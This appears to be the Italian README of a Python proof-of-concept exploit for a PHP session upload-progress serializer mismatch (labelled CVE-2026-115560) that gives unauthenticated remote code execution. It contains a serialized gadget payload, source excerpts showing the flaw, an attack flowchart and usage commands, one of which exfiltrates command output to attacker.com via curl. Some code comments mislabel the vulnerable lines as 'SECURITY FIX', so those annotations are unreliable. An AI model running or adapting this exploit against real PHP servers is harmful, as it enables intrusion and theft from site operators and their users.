
PoC in Python che sfrutta CVE-2026-115560, una discrepanza nel serialize-handler del progresso di caricamento della sessione PHP che consente l'iniezione di oggetti non autenticata e l'RCE tramite un caricamento basato su race-condition.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-115560 |
| Vendor | The PHP Group |
| Versioni interessate | PHP 7.x, 8.0 – 8.4.x (tutte le build con configurazione predefinita di session.upload_progress) |
| Versione corretta | Nessuna patch — mitigazione ufficiale: session.upload_progress.enabled=0 |
| Advisory | advisory informativo php.net 2026-10-23 |
| CVSS 3.1 | 9.8 Critico |
| CWE | CWE-502 — Deserializzazione di dati non attendibili |
| Vettore di attacco | Rete |
| Autenticazione richiesta | Nessuna (non autenticata) |
| Impatto | Esecuzione di codice remoto non autenticata tramite object injection PHP |
| Precondizioni | session.upload_progress.enabled=1 (predefinito PHP) + l'applicazione cambia serializer a runtime |
CVE-2026-115560 è una vulnerabilità di esecuzione di codice remoto non autenticata nell'estensione session di PHP, divulgata il 2026-10-23 — due giorni dopo le release di emergenza PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Colpisce qualsiasi applicazione PHP in cui tutte e tre le precondizioni sussistono contemporaneamente:
php.ini configura session.serialize_handler = php_binary o session.serialize_handler = php_serializeini_set('session.serialize_handler', 'php') prima di session_start()session.upload_progress.enabled = 1 (il valore predefinito di PHP)La causa principale è un disallineamento del serialize-handler: il sottosistema di progresso del caricamento delle sessioni di PHP viene eseguito prima del RINIT (prima di qualsiasi codice dell'applicazione) e scrive il file di sessione usando l'handler configurato sul server (php_serialize). Quando l'applicazione passa successivamente all'handler php e chiama session_start(), rilegge il file di sessione usando il deserializzatore php, che divide sul primo carattere | e deserializza tutto ciò che segue.
Poiché l'attaccante controlla il valore del campo POST PHP_SESSION_UPLOAD_PROGRESS — che PHP memorizza come chiave di array non sanificata nel file di sessione — può iniettare un | seguito da un oggetto PHP serializzato arbitrario. L'handler php lo deserializza, attivando le gadget chain __destruct / __wakeup e ottenendo la RCE.
L'exploit è un attacco concorrente a due richieste: una richiesta invia lentamente un caricamento di file di grandi dimensioni (mantenendo viva la chiave di sessione malevola nel file di sessione), mentre una seconda richiesta legge la sessione, attivando la deserializzazione. Con il valore predefinito session.upload_progress.cleanup=1, la finestra di race viene mantenuta aperta per tutta la durata del caricamento — ottenibile nell'intervallo di 13–38 secondi con un corpo di più MB.
php-src/ext/session/session.c php-src/main/rfc1867.c
───────────────────────────── ──────────────────────
php_session_rfc1867_callback() MULTIPART_EVENT_FILE_START
└─ php_rinit_session(0) PS(serializer) = server ini (php_serialize)
└─ php_session_rfc1867_update()
└─ php_session_flush(1) ← writes session file with php_serialize
key = "upload_progress_" + PHP_SESSION_UPLOAD_PROGRESS (UNSANITIZED)
value = array(start_time, current_file, ...)
--- (upload still in flight) ---
Application code (application.php):
ini_set('session.serialize_handler', 'php') // SECURITY FIX: CWE-502 -- ini switch creates mismatch
session_start()
└─ PS_SERIALIZER_DECODE_FUNC(php)
splits at first '|'
unserialize(everything after '|') ← attacker-controlled gadget chain
__destruct() fires → RCE
a:1:{s:56:"upload_progress_|O:12:"ExecOnDestruct":1:{s:3:"cmd";s:2:"id";}";a:5:{...}}
^
php handler splits here and unserializes the rest
/* ext/session/session.c -- php_session_rfc1867_callback (PHP <= 8.4.x) */
static void php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra)
{
/* SECURITY FIX: CWE-502 -- PS(serializer) resolved from server ini, not application ini */
if (event == MULTIPART_EVENT_FILE_START) {
php_rinit_session(0); // uses server-configured serialize_handler
}
if (event == MULTIPART_EVENT_FILE_END || event == MULTIPART_EVENT_END) {
php_session_rfc1867_update(progress, 1); // writes with server handler
// PS(session_status) = php_session_none — not locked against handler re-init
}
}
// Vulnerable application pattern
ini_set('session.serialize_handler', 'php'); // switches handler AFTER rfc1867 write
session_start(); // reads back with 'php', deserializes mismatch
flowchart LR
A([Attacker]) -->|POST multipart upload\nPHP_SESSION_UPLOAD_PROGRESS=\n pipe + serialized gadget| B[PHP rfc1867 callback\npre-RINIT]
B -->|writes session file\nwith php_serialize handler| C[(Session File\n/tmp/sess_X)]
C -->|malicious key survives\nfor upload duration| D{Race Window\n13-38 seconds}
D -->|concurrent GET /?PHPSESSID=X| E[Application Code\nini_set handler=php\nsession_start]
E -->|php handler reads session\nsplits on pipe char| F[unserialize gadget]
F -->|__destruct fires| G([RCE\ncode execution as www-data])
style A fill:#1a0810,color:#e94560
style G fill:#1a0810,color:#e94560
style F fill:#3d0015,color:#fff
style D fill:#1a2010,color:#7ec8a0
pip install -r requirements.txt
# Check preconditions only (no exploit)
python poc.py -u http://target.example.com/app.php --check-only -v
# Full exploit: inject id command via __destruct gadget
python poc.py -u http://target.example.com/app.php -c "id" -v
# Custom gadget class name and RCE payload
python poc.py -u http://target.example.com/app.php -c "curl http://attacker.com/$(id)" \
--gadget ExecOnDestruct --upload-size 8 -o result.json
# Proxy through Burp
python poc.py -u http://target.example.com/app.php -c "id" --proxy http://127.0.0.1:8080 --insecure